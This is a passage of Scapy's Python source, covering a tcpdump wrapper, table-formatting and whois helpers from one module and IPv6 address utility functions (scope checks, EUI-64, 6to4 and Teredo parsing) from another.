json.load(tcpdump(IP(src="217.25.178.5", ... dst="45.33.32.156"), ... prog=conf.prog.tshark, ... args=["-T", "json"], ... getfd=True)) >>> pprint.pprint(json_data) [{u'_index': u'packets-2016-12-23', u'_score': None, u'_source': {u'layers': {u'frame': {u'frame.cap_len': u'20', u'frame.encap_type': u'7', [...] }, u'ip': {u'ip.addr': u'45.33.32.156', u'ip.checksum': u'0x0000a20d', [...] u'ip.ttl': u'64', u'ip.version': u'4'}, u'raw': u'Raw packet data'}}, u'_type': u'pcap_file'}] >>> json_data[0]['_source']['layers']['ip']['ip.ttl'] u'64' """ getfd = getfd or getproc if prog is None: if not conf.prog.tcpdump: raise Scapy_Exception( "tcpdump is not available" ) prog = [conf.prog.tcpdump] elif isinstance(prog, six.string_types): prog = [prog] else: raise ValueError("prog must be a string") if linktype is not None: # Tcpdump does not support integers in -y (yet) # https://github.com/the-tcpdump-group/tcpdump/issues/758 if isinstance(linktype, int): # Guess name from value try: linktype_name = _guess_linktype_name(linktype) except StopIteration: linktype = -1 else: # Guess value from name if linktype.startswith("DLT_"): linktype = linktype[4:] linktype_name = linktype try: linktype = _guess_linktype_value(linktype) except KeyError: linktype = -1 if linktype == -1: raise ValueError( "Unknown linktype. Try passing its datalink name instead" ) prog += ["-y", linktype_name] # Build Popen arguments if args is None: args = [] else: # Make a copy of args args = list(args) if flt is not None: # Check the validity of the filter from scapy.arch.common import compile_filter compile_filter(flt) args.append(flt) stdout = subprocess.PIPE if dump or getfd else None stderr = open(os.devnull) if quiet else None proc = None if use_tempfile is None: # Apple's tcpdump cannot read from stdin, see: # http://apple.stackexchange.com/questions/152682/ use_tempfile = DARWIN and prog[0] == conf.prog.tcpdump if read_stdin_opts is None: if prog[0] == conf.prog.wireshark: # Start capturing immediately (-k) from stdin (-i -) read_stdin_opts = ["-ki", "-"] else: read_stdin_opts = ["-r", "-"] else: # Make a copy of read_stdin_opts read_stdin_opts = list(read_stdin_opts) if pktlist is None: # sniff with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + args, stdout=stdout, stderr=stderr, ) elif isinstance(pktlist, six.string_types): # file with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + ["-r", pktlist] + args, stdout=stdout, stderr=stderr, ) elif use_tempfile: tmpfile = get_temp_file(autoext=".pcap", fd=True) try: tmpfile.writelines(iter(lambda: pktlist.read(1048576), b"")) except AttributeError: wrpcap(tmpfile, pktlist, linktype=linktype) else: tmpfile.close() with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + ["-r", tmpfile.name] + args, stdout=stdout, stderr=stderr, ) else: # pass the packet stream with ContextManagerSubprocess(prog[0], suppress=_suppress): proc = subprocess.Popen( prog + read_stdin_opts + args, stdin=subprocess.PIPE, stdout=stdout, stderr=stderr, ) if proc is None: # An error has occurred return try: proc.stdin.writelines(iter(lambda: pktlist.read(1048576), b"")) except AttributeError: wrpcap(proc.stdin, pktlist, linktype=linktype) except UnboundLocalError: # The error was handled by ContextManagerSubprocess pass else: proc.stdin.close() if proc is None: # An error has occurred return if dump: return b"".join(iter(lambda: proc.stdout.read(1048576), b"")) if getproc: return proc if getfd: return proc.stdout if wait: proc.wait() @conf.commands.register def hexedit(pktlist): """Run hexedit on a list of packets, then return the edited packets.""" f = get_temp_file() wrpcap(f, pktlist) with ContextManagerSubprocess(conf.prog.hexedit): subprocess.call([conf.prog.hexedit, f]) pktlist = rdpcap(f) os.unlink(f) return pktlist def get_terminal_width(): """Get terminal width (number of characters) if in a window. Notice: this will try several methods in order to support as many terminals and OS as possible. """ # Let's first try using the official API # (Python 3.3+) if not six.PY2: import shutil sizex = shutil.get_terminal_size(fallback=(0, 0))[0] if sizex != 0: return sizex # Backups / Python 2.7 if WINDOWS: from ctypes import windll, create_string_buffer # http://code.activestate.com/recipes/440694-determine-size-of-console-window-on-windows/ h = windll.kernel32.GetStdHandle(-12) csbi = create_string_buffer(22) res = windll.kernel32.GetConsoleScreenBufferInfo(h, csbi) if res: (bufx, bufy, curx, cury, wattr, left, top, right, bottom, maxx, maxy) = struct.unpack("hhhhHhhhhhh", csbi.raw) # noqa: E501 sizex = right - left + 1 # sizey = bottom - top + 1 return sizex return None else: # We have various methods sizex = None # COLUMNS is set on some terminals try: sizex = int(os.environ['COLUMNS']) except Exception: pass if sizex: return sizex # We can query TIOCGWINSZ try: import fcntl import termios s = struct.pack('HHHH', 0, 0, 0, 0) x = fcntl.ioctl(1, termios.TIOCGWINSZ, s) sizex = struct.unpack('HHHH', x)[1] except IOError: pass return sizex def pretty_list(rtlst, header, sortBy=0, borders=False): """Pretty list to fit the terminal, and add header""" if borders: _space = "|" else: _space = " " # Windows has a fat terminal border _spacelen = len(_space) * (len(header) - 1) + (10 if WINDOWS else 0) _croped = False # Sort correctly rtlst.sort(key=lambda x: x[sortBy]) # Append tag rtlst = header + rtlst # Detect column's width colwidth = [max([len(y) for y in x]) for x in zip(*rtlst)] # Make text fit in box (if required) width = get_terminal_width() if conf.auto_crop_tables and width: width = width - _spacelen while sum(colwidth) > width: _croped = True # Needs to be cropped # Get the longest row i = colwidth.index(max(colwidth)) # Get all elements of this row row = [len(x[i]) for x in rtlst] # Get biggest element of this row: biggest of the array j = row.index(max(row)) # Re-build column tuple with the edited element t = list(rtlst[j]) t[i] = t[i][:-2] + "_" rtlst[j] = tuple(t) # Update max size row[j] = len(t[i]) colwidth[i] = max(row) if _croped: log_runtime.info("Table cropped to fit the terminal (conf.auto_crop_tables==True)") # noqa: E501 # Generate padding scheme fmt = _space.join(["%%-%ds" % x for x in colwidth]) # Append separation line if needed if borders: rtlst.insert(1, tuple("-" * x for x in colwidth)) # Compile rt = "\n".join(((fmt % x).strip() for x in rtlst)) return rt def __make_table(yfmtfunc, fmtfunc, endline, data, fxyz, sortx=None, sorty=None, seplinefunc=None, dump=False): # noqa: E501 """Core function of the make_table suite, which generates the table""" vx = {} vy = {} vz = {} vxf = {} # Python 2 backward compatibility fxyz = lambda_tuple_converter(fxyz) tmp_len = 0 for e in data: xx, yy, zz = [str(s) for s in fxyz(*e)] tmp_len = max(len(yy), tmp_len) vx[xx] = max(vx.get(xx, 0), len(xx), len(zz)) vy[yy] = None vz[(xx, yy)] = zz vxk = list(vx) vyk = list(vy) if sortx: vxk.sort(key=sortx) else: try: vxk.sort(key=int) except Exception: try: vxk.sort(key=atol) except Exception: vxk.sort() if sorty: vyk.sort(key=sorty) else: try: vyk.sort(key=int) except Exception: try: vyk.sort(key=atol) except Exception: vyk.sort() s = "" if seplinefunc: sepline = seplinefunc(tmp_len, [vx[x] for x in vxk]) s += sepline + "\n" fmt = yfmtfunc(tmp_len) s += fmt % "" s += ' ' for x in vxk: vxf[x] = fmtfunc(vx[x]) s += vxf[x] % x s += ' ' s += endline + "\n" if seplinefunc: s += sepline + "\n" for y in vyk: s += fmt % y s += ' ' for x in vxk: s += vxf[x] % vz.get((x, y), "-") s += ' ' s += endline + "\n" if seplinefunc: s += sepline + "\n" if dump: return s else: print(s, end="") def make_table(*args, **kargs): return __make_table(lambda l: "%%-%is" % l, lambda l: "%%-%is" % l, "", *args, **kargs) # noqa: E501 def make_lined_table(*args, **kargs): return __make_table(lambda l: "%%-%is |" % l, lambda l: "%%-%is |" % l, "", seplinefunc=lambda a, x: "+".join('-' * (y + 2) for y in [a - 1] + x + [-2]), # noqa: E501 *args, **kargs) def make_tex_table(*args, **kargs): return __make_table(lambda l: "%s", lambda l: "& %s", "\\\\", seplinefunc=lambda a, x: "\\hline", *args, **kargs) # noqa: E501 #################### # WHOIS CLIENT # #################### def whois(ip_address): """Whois client for Python""" whois_ip = str(ip_address) try: query = socket.gethostbyname(whois_ip) except Exception: query = whois_ip s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("whois.ripe.net", 43)) s.send(query.encode("utf8") + b"\r\n") answer = b"" while True: d = s.recv(4096) answer += d if not d: break s.close() ignore_tag = b"remarks:" # ignore all lines starting with the ignore_tag lines = [line for line in answer.split(b"\n") if not line or (line and not line.startswith(ignore_tag))] # noqa: E501 # remove empty lines at the bottom for i in range(1, len(lines)): if not lines[-i].strip(): del lines[-i] else: break return b"\n".join(lines[3:]) ####################### # PERIODIC SENDER # ####################### class PeriodicSenderThread(threading.Thread): def __init__(self, sock, pkt, interval=0.5): """ Thread to send packets periodically Args: sock: socket where packet is sent periodically pkt: packet to send interval: interval between two packets """ self._pkt = pkt self._socket = sock self._stopped = threading.Event() self._interval = interval threading.Thread.__init__(self) def run(self): while not self._stopped.is_set(): self._socket.send(self._pkt) time.sleep(self._interval) def stop(self): self._stopped.set() class SingleConversationSocket(object): def __init__(self, o): self._inner = o self._tx_mutex = threading.RLock() @property def __dict__(self): return self._inner.__dict__ def __getattr__(self, name): return getattr(self._inner, name) def sr1(self, *args, **kargs): with self._tx_mutex: return self._inner.sr1(*args, **kargs) def sr(self, *args, **kargs): with self._tx_mutex: return self._inner.sr(*args, **kargs) def send(self, x): with self._tx_mutex: return self._inner.send(x) scapy-2.4.4/scapy/utils6.py000066400000000000000000000711371372370053500155750ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license # Copyright (C) 2005 Guillaume Valadon # Arnaud Ebalard """ Utility functions for IPv6. """ from __future__ import absolute_import import operator import random import socket import struct import time import re from scapy.config import conf from scapy.base_classes import Gen from scapy.data import IPV6_ADDR_GLOBAL, IPV6_ADDR_LINKLOCAL, \ IPV6_ADDR_SITELOCAL, IPV6_ADDR_LOOPBACK, IPV6_ADDR_UNICAST,\ IPV6_ADDR_MULTICAST, IPV6_ADDR_6TO4, IPV6_ADDR_UNSPECIFIED from scapy.utils import strxor from scapy.compat import orb, chb from scapy.pton_ntop import inet_pton, inet_ntop from scapy.volatile import RandMAC from scapy.error import warning, Scapy_Exception from functools import reduce, cmp_to_key from scapy.modules.six.moves import range, zip def construct_source_candidate_set(addr, plen, laddr): """ Given all addresses assigned to a specific interface ('laddr' parameter), this function returns the "candidate set" associated with 'addr/plen'. Basically, the function filters all interface addresses to keep only those that have the same scope as provided prefix. This is on this list of addresses that the source selection mechanism will then be performed to select the best source address associated with some specific destination that uses this prefix. """ def cset_sort(x, y): x_global = 0 if in6_isgladdr(x): x_global = 1 y_global = 0 if in6_isgladdr(y): y_global = 1 res = y_global - x_global if res != 0 or y_global != 1: return res # two global addresses: if one is native, it wins. if not in6_isaddr6to4(x): return -1 return -res cset = [] if in6_isgladdr(addr) or in6_isuladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) elif in6_islladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) elif in6_issladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) elif in6_ismaddr(addr): if in6_ismnladdr(addr): cset = [('::1', 16, conf.loopback_name)] elif in6_ismgladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) elif in6_ismlladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_LINKLOCAL) elif in6_ismsladdr(addr): cset = (x for x in laddr if x[1] == IPV6_ADDR_SITELOCAL) elif addr == '::' and plen == 0: cset = (x for x in laddr if x[1] == IPV6_ADDR_GLOBAL) cset = [x[0] for x in cset] # TODO convert the cmd use into a key cset.sort(key=cmp_to_key(cset_sort)) # Sort with global addresses first return cset def get_source_addr_from_candidate_set(dst, candidate_set): """ This function implement a limited version of source address selection algorithm defined in section 5 of RFC 3484. The format is very different from that described in the document because it operates on a set of candidate source address for some specific route. """ def scope_cmp(a, b): """ Given two addresses, returns -1, 0 or 1 based on comparison of their scope """ scope_mapper = {IPV6_ADDR_GLOBAL: 4, IPV6_ADDR_SITELOCAL: 3, IPV6_ADDR_LINKLOCAL: 2, IPV6_ADDR_LOOPBACK: 1} sa = in6_getscope(a) if sa == -1: sa = IPV6_ADDR_LOOPBACK sb = in6_getscope(b) if sb == -1: sb = IPV6_ADDR_LOOPBACK sa = scope_mapper[sa] sb = scope_mapper[sb] if sa == sb: return 0 if sa > sb: return 1 return -1 def rfc3484_cmp(source_a, source_b): """ The function implements a limited version of the rules from Source Address selection algorithm defined section of RFC 3484. """ # Rule 1: Prefer same address if source_a == dst: return 1 if source_b == dst: return 1 # Rule 2: Prefer appropriate scope tmp = scope_cmp(source_a, source_b) if tmp == -1: if scope_cmp(source_a, dst) == -1: return 1 else: return -1 elif tmp == 1: if scope_cmp(source_b, dst) == -1: return 1 else: return -1 # Rule 3: cannot be easily implemented # Rule 4: cannot be easily implemented # Rule 5: does not make sense here # Rule 6: cannot be implemented # Rule 7: cannot be implemented # Rule 8: Longest prefix match tmp1 = in6_get_common_plen(source_a, dst) tmp2 = in6_get_common_plen(source_b, dst) if tmp1 > tmp2: return 1 elif tmp2 > tmp1: return -1 return 0 if not candidate_set: # Should not happen return None candidate_set.sort(key=cmp_to_key(rfc3484_cmp), reverse=True) return candidate_set[0] # Think before modify it : for instance, FE::1 does exist and is unicast # there are many others like that. # TODO : integrate Unique Local Addresses def in6_getAddrType(addr): naddr = inet_pton(socket.AF_INET6, addr) paddr = inet_ntop(socket.AF_INET6, naddr) # normalize addrType = 0 # _Assignable_ Global Unicast Address space # is defined in RFC 3513 as those in 2000::/3 if ((orb(naddr[0]) & 0xE0) == 0x20): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) if naddr[:2] == b' \x02': # Mark 6to4 @ addrType |= IPV6_ADDR_6TO4 elif orb(naddr[0]) == 0xff: # multicast addrScope = paddr[3] if addrScope == '2': addrType = (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) elif addrScope == 'e': addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) else: addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) elif ((orb(naddr[0]) == 0xfe) and ((int(paddr[2], 16) & 0xC) == 0x8)): addrType = (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) elif paddr == "::1": addrType = IPV6_ADDR_LOOPBACK elif paddr == "::": addrType = IPV6_ADDR_UNSPECIFIED else: # Everything else is global unicast (RFC 3513) # Even old deprecated (RFC3879) Site-Local addresses addrType = (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) return addrType def in6_mactoifaceid(mac, ulbit=None): """ Compute the interface ID in modified EUI-64 format associated to the Ethernet address provided as input. value taken by U/L bit in the interface identifier is basically the reversed value of that in given MAC address it can be forced to a specific value by using optional 'ulbit' parameter. """ if len(mac) != 17: return None m = "".join(mac.split(':')) if len(m) != 12: return None first = int(m[0:2], 16) if ulbit is None or not (ulbit == 0 or ulbit == 1): ulbit = [1, '-', 0][first & 0x02] ulbit *= 2 first = "%.02x" % ((first & 0xFD) | ulbit) eui64 = first + m[2:4] + ":" + m[4:6] + "FF:FE" + m[6:8] + ":" + m[8:12] return eui64.upper() def in6_ifaceidtomac(ifaceid): """ Extract the mac address from provided iface ID. Iface ID is provided in printable format ("XXXX:XXFF:FEXX:XXXX", eventually compressed). None is returned on error. """ try: # Set ifaceid to a binary form ifaceid = inet_pton(socket.AF_INET6, "::" + ifaceid)[8:16] except Exception: return None if ifaceid[3:5] != b'\xff\xfe': # Check for burned-in MAC address return None # Unpacking and converting first byte of faceid to MAC address equivalent first = struct.unpack("B", ifaceid[:1])[0] ulbit = 2 * [1, '-', 0][first & 0x02] first = struct.pack("B", ((first & 0xFD) | ulbit)) # Split into two vars to remove the \xff\xfe bytes oui = first + ifaceid[1:3] end = ifaceid[5:] # Convert and reconstruct into a MAC Address mac_bytes = ["%.02x" % orb(x) for x in list(oui + end)] return ":".join(mac_bytes) def in6_addrtomac(addr): """ Extract the mac address from provided address. None is returned on error. """ mask = inet_pton(socket.AF_INET6, "::ffff:ffff:ffff:ffff") x = in6_and(mask, inet_pton(socket.AF_INET6, addr)) ifaceid = inet_ntop(socket.AF_INET6, x)[2:] return in6_ifaceidtomac(ifaceid) def in6_addrtovendor(addr): """ Extract the MAC address from a modified EUI-64 constructed IPv6 address provided and use the IANA oui.txt file to get the vendor. The database used for the conversion is the one loaded by Scapy from a Wireshark installation if discovered in a well-known location. None is returned on error, "UNKNOWN" if the vendor is unknown. """ mac = in6_addrtomac(addr) if mac is None or not conf.manufdb: return None res = conf.manufdb._get_manuf(mac) if len(res) == 17 and res.count(':') != 5: # Mac address, i.e. unknown res = "UNKNOWN" return res def in6_getLinkScopedMcastAddr(addr, grpid=None, scope=2): """ Generate a Link-Scoped Multicast Address as described in RFC 4489. Returned value is in printable notation. 'addr' parameter specifies the link-local address to use for generating Link-scoped multicast address IID. By default, the function returns a ::/96 prefix (aka last 32 bits of returned address are null). If a group id is provided through 'grpid' parameter, last 32 bits of the address are set to that value (accepted formats : b'\x12\x34\x56\x78' or '12345678' or 0x12345678 or 305419896). By default, generated address scope is Link-Local (2). That value can be modified by passing a specific 'scope' value as an argument of the function. RFC 4489 only authorizes scope values <= 2. Enforcement is performed by the function (None will be returned). If no link-local address can be used to generate the Link-Scoped IPv6 Multicast address, or if another error occurs, None is returned. """ if scope not in [0, 1, 2]: return None try: if not in6_islladdr(addr): return None addr = inet_pton(socket.AF_INET6, addr) except Exception: warning("in6_getLinkScopedMcastPrefix(): Invalid address provided") return None iid = addr[8:] if grpid is None: grpid = b'\x00\x00\x00\x00' else: if isinstance(grpid, (bytes, str)): if len(grpid) == 8: try: grpid = int(grpid, 16) & 0xffffffff except Exception: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") # noqa: E501 return None elif len(grpid) == 4: try: grpid = struct.unpack("!I", grpid)[0] except Exception: warning("in6_getLinkScopedMcastPrefix(): Invalid group id provided") # noqa: E501 return None grpid = struct.pack("!I", grpid) flgscope = struct.pack("B", 0xff & ((0x3 << 4) | scope)) plen = b'\xff' res = b'\x00' a = b'\xff' + flgscope + res + plen + iid + grpid return inet_ntop(socket.AF_INET6, a) def in6_get6to4Prefix(addr): """ Returns the /48 6to4 prefix associated with provided IPv4 address On error, None is returned. No check is performed on public/private status of the address """ try: addr = inet_pton(socket.AF_INET, addr) addr = inet_ntop(socket.AF_INET6, b'\x20\x02' + addr + b'\x00' * 10) except Exception: return None return addr def in6_6to4ExtractAddr(addr): """ Extract IPv4 address embedded in 6to4 address. Passed address must be a 6to4 address. None is returned on error. """ try: addr = inet_pton(socket.AF_INET6, addr) except Exception: return None if addr[:2] != b" \x02": return None return inet_ntop(socket.AF_INET, addr[2:6]) def in6_getLocalUniquePrefix(): """ Returns a pseudo-randomly generated Local Unique prefix. Function follows recommendation of Section 3.2.2 of RFC 4193 for prefix generation. """ # Extracted from RFC 1305 (NTP) : # NTP timestamps are represented as a 64-bit unsigned fixed-point number, # in seconds relative to 0h on 1 January 1900. The integer part is in the # first 32 bits and the fraction part in the last 32 bits. # epoch = (1900, 1, 1, 0, 0, 0, 5, 1, 0) # x = time.time() # from time import gmtime, strftime, gmtime, mktime # delta = mktime(gmtime(0)) - mktime(self.epoch) # x = x-delta tod = time.time() # time of day. Will bother with epoch later i = int(tod) j = int((tod - i) * (2**32)) tod = struct.pack("!II", i, j) mac = RandMAC() # construct modified EUI-64 ID eui64 = inet_pton(socket.AF_INET6, '::' + in6_mactoifaceid(mac))[8:] import hashlib globalid = hashlib.sha1(tod + eui64).digest()[:5] return inet_ntop(socket.AF_INET6, b'\xfd' + globalid + b'\x00' * 10) def in6_getRandomizedIfaceId(ifaceid, previous=None): """ Implements the interface ID generation algorithm described in RFC 3041. The function takes the Modified EUI-64 interface identifier generated as described in RFC 4291 and an optional previous history value (the first element of the output of this function). If no previous interface identifier is provided, a random one is generated. The function returns a tuple containing the randomized interface identifier and the history value (for possible future use). Input and output values are provided in a "printable" format as depicted below. ex:: >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') ('4c61:76ff:f46a:a5f3', 'd006:d540:db11:b092') >>> in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous='d006:d540:db11:b092') ('fe97:46fe:9871:bd38', 'eeed:d79c:2e3f:62e') """ s = b"" if previous is None: d = b"".join(chb(x) for x in range(256)) for _ in range(8): s += chb(random.choice(d)) previous = s s = inet_pton(socket.AF_INET6, "::" + ifaceid)[8:] + previous import hashlib s = hashlib.md5(s).digest() s1, s2 = s[:8], s[8:] s1 = chb(orb(s1[0]) | 0x04) + s1[1:] s1 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s1)[20:] s2 = inet_ntop(socket.AF_INET6, b"\xff" * 8 + s2)[20:] return (s1, s2) _rfc1924map = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', # noqa: E501 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', # noqa: E501 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', # noqa: E501 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', # noqa: E501 'y', 'z', '!', '#', '$', '%', '&', '(', ')', '*', '+', '-', ';', '<', '=', # noqa: E501 '>', '?', '@', '^', '_', '`', '{', '|', '}', '~'] def in6_ctop(addr): """ Convert an IPv6 address in Compact Representation Notation (RFC 1924) to printable representation ;-) Returns None on error. """ if len(addr) != 20 or not reduce(lambda x, y: x and y, [x in _rfc1924map for x in addr]): return None i = 0 for c in addr: j = _rfc1924map.index(c) i = 85 * i + j res = [] for j in range(4): res.append(struct.pack("!I", i % 2**32)) i = i // (2**32) res.reverse() return inet_ntop(socket.AF_INET6, b"".join(res)) def in6_ptoc(addr): """ Converts an IPv6 address in printable representation to RFC 1924 Compact Representation ;-) Returns None on error. """ try: d = struct.unpack("!IIII", inet_pton(socket.AF_INET6, addr)) except Exception: return None res = 0 m = [2**96, 2**64, 2**32, 1] for i in range(4): res += d[i] * m[i] rem = res res = [] while rem: res.append(_rfc1924map[rem % 85]) rem = rem // 85 res.reverse() return "".join(res) def in6_isaddr6to4(x): """ Return True if provided address (in printable format) is a 6to4 address (being in 2002::/16). """ x = inet_pton(socket.AF_INET6, x) return x[:2] == b' \x02' conf.teredoPrefix = "2001::" # old one was 3ffe:831f (it is a /32) conf.teredoServerPort = 3544 def in6_isaddrTeredo(x): """ Return True if provided address is a Teredo, meaning it is under the /32 conf.teredoPrefix prefix value (by default, 2001::). Otherwise, False is returned. Address must be passed in printable format. """ our = inet_pton(socket.AF_INET6, x)[0:4] teredoPrefix = inet_pton(socket.AF_INET6, conf.teredoPrefix)[0:4] return teredoPrefix == our def teredoAddrExtractInfo(x): """ Extract information from a Teredo address. Return value is a 4-tuple made of IPv4 address of Teredo server, flag value (int), mapped address (non obfuscated) and mapped port (non obfuscated). No specific checks are performed on passed address. """ addr = inet_pton(socket.AF_INET6, x) server = inet_ntop(socket.AF_INET, addr[4:8]) flag = struct.unpack("!H", addr[8:10])[0] mappedport = struct.unpack("!H", strxor(addr[10:12], b'\xff' * 2))[0] mappedaddr = inet_ntop(socket.AF_INET, strxor(addr[12:16], b'\xff' * 4)) return server, flag, mappedaddr, mappedport def in6_iseui64(x): """ Return True if provided address has an interface identifier part created in modified EUI-64 format (meaning it matches ``*::*:*ff:fe*:*``). Otherwise, False is returned. Address must be passed in printable format. """ eui64 = inet_pton(socket.AF_INET6, '::ff:fe00:0') x = in6_and(inet_pton(socket.AF_INET6, x), eui64) return x == eui64 def in6_isanycast(x): # RFC 2526 if in6_iseui64(x): s = '::fdff:ffff:ffff:ff80' packed_x = inet_pton(socket.AF_INET6, x) packed_s = inet_pton(socket.AF_INET6, s) x_and_s = in6_and(packed_x, packed_s) return x_and_s == packed_s else: # not EUI-64 # | n bits | 121-n bits | 7 bits | # +---------------------------------+------------------+------------+ # | subnet prefix | 1111111...111111 | anycast ID | # +---------------------------------+------------------+------------+ # | interface identifier field | warning('in6_isanycast(): TODO not EUI-64') return 0 def _in6_bitops(a1, a2, operator=0): a1 = struct.unpack('4I', a1) a2 = struct.unpack('4I', a2) fop = [lambda x, y: x | y, lambda x, y: x & y, lambda x, y: x ^ y ] ret = map(fop[operator % len(fop)], a1, a2) return b"".join(struct.pack('I', x) for x in ret) def in6_or(a1, a2): """ Provides a bit to bit OR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 0) def in6_and(a1, a2): """ Provides a bit to bit AND of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 1) def in6_xor(a1, a2): """ Provides a bit to bit XOR of provided addresses. They must be passed in network format. Return value is also an IPv6 address in network format. """ return _in6_bitops(a1, a2, 2) def in6_cidr2mask(m): """ Return the mask (bitstring) associated with provided length value. For instance if function is called on 48, return value is b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'. """ if m > 128 or m < 0: raise Scapy_Exception("value provided to in6_cidr2mask outside [0, 128] domain (%d)" % m) # noqa: E501 t = [] for i in range(0, 4): t.append(max(0, 2**32 - 2**(32 - min(32, m)))) m -= 32 return b"".join(struct.pack('!I', x) for x in t) def in6_getnsma(a): """ Return link-local solicited-node multicast address for given address. Passed address must be provided in network format. Returned value is also in network format. """ r = in6_and(a, inet_pton(socket.AF_INET6, '::ff:ffff')) r = in6_or(inet_pton(socket.AF_INET6, 'ff02::1:ff00:0'), r) return r def in6_getnsmac(a): # return multicast Ethernet address associated with multicast v6 destination # noqa: E501 """ Return the multicast mac address associated with provided IPv6 address. Passed address must be in network format. """ a = struct.unpack('16B', a)[-4:] mac = '33:33:' mac += ':'.join("%.2x" % x for x in a) return mac def in6_getha(prefix): """ Return the anycast address associated with all home agents on a given subnet. """ r = in6_and(inet_pton(socket.AF_INET6, prefix), in6_cidr2mask(64)) r = in6_or(r, inet_pton(socket.AF_INET6, '::fdff:ffff:ffff:fffe')) return inet_ntop(socket.AF_INET6, r) def in6_ptop(str): """ Normalizes IPv6 addresses provided in printable format, returning the same address in printable format. (2001:0db8:0:0::1 -> 2001:db8::1) """ return inet_ntop(socket.AF_INET6, inet_pton(socket.AF_INET6, str)) def in6_isincluded(addr, prefix, plen): """ Returns True when 'addr' belongs to prefix/plen. False otherwise. """ temp = inet_pton(socket.AF_INET6, addr) pref = in6_cidr2mask(plen) zero = inet_pton(socket.AF_INET6, prefix) return zero == in6_and(temp, pref) def in6_isllsnmaddr(str): """ Return True if provided address is a link-local solicited node multicast address, i.e. belongs to ff02::1:ff00:0/104. False is returned otherwise. """ temp = in6_and(b"\xff" * 13 + b"\x00" * 3, inet_pton(socket.AF_INET6, str)) temp2 = b'\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x00\x00\x00' return temp == temp2 def in6_isdocaddr(str): """ Returns True if provided address in printable format belongs to 2001:db8::/32 address space reserved for documentation (as defined in RFC 3849). """ return in6_isincluded(str, '2001:db8::', 32) def in6_islladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ link-local unicast address space (fe80::/10) """ return in6_isincluded(str, 'fe80::', 10) def in6_issladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ site-local address space (fec0::/10). This prefix has been deprecated, address being now reserved by IANA. Function will remain for historic reasons. """ return in6_isincluded(str, 'fec0::', 10) def in6_isuladdr(str): """ Returns True if provided address in printable format belongs to Unique local address space (fc00::/7). """ return in6_isincluded(str, 'fc00::', 7) # TODO : we should see the status of Unique Local addresses against # global address space. # Up-to-date information is available through RFC 3587. # We should review function behavior based on its content. def in6_isgladdr(str): """ Returns True if provided address in printable format belongs to _allocated_ global address space (2000::/3). Please note that, Unique Local addresses (FC00::/7) are not part of global address space, and won't match. """ return in6_isincluded(str, '2000::', 3) def in6_ismaddr(str): """ Returns True if provided address in printable format belongs to allocated Multicast address space (ff00::/8). """ return in6_isincluded(str, 'ff00::', 8) def in6_ismnladdr(str): """ Returns True if address belongs to node-local multicast address space (ff01::/16) as defined in RFC """ return in6_isincluded(str, 'ff01::', 16) def in6_ismgladdr(str): """ Returns True if address belongs to global multicast address space (ff0e::/16). """ return in6_isincluded(str, 'ff0e::', 16) def in6_ismlladdr(str): """ Returns True if address belongs to link-local multicast address space (ff02::/16) """ return in6_isincluded(str, 'ff02::', 16) def in6_ismsladdr(str): """ Returns True if address belongs to site-local multicast address space (ff05::/16). Site local address space has been deprecated. Function remains for historic reasons. """ return in6_isincluded(str, 'ff05::', 16) def in6_isaddrllallnodes(str): """ Returns True if address is the link-local all-nodes multicast address (ff02::1). """ return (inet_pton(socket.AF_INET6, "ff02::1") == inet_pton(socket.AF_INET6, str)) def in6_isaddrllallservers(str): """ Returns True if address is the link-local all-servers multicast address (ff02::2). """ return (inet_pton(socket.AF_INET6, "ff02::2") == inet_pton(socket.AF_INET6, str)) def in6_getscope(addr): """ Returns the scope of the address. """ if in6_isgladdr(addr) or in6_isuladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_islladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_issladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismaddr(addr): if in6_ismgladdr(addr): scope = IPV6_ADDR_GLOBAL elif in6_ismlladdr(addr): scope = IPV6_ADDR_LINKLOCAL elif in6_ismsladdr(addr): scope = IPV6_ADDR_SITELOCAL elif in6_ismnladdr(addr): scope = IPV6_ADDR_LOOPBACK else: scope = -1 elif addr == '::1': scope = IPV6_ADDR_LOOPBACK else: scope = -1 return scope def in6_get_common_plen(a, b): """ Return common prefix length of IPv6 addresses a and b. """ def matching_bits(byte1, byte2): for i in range(8): cur_mask = 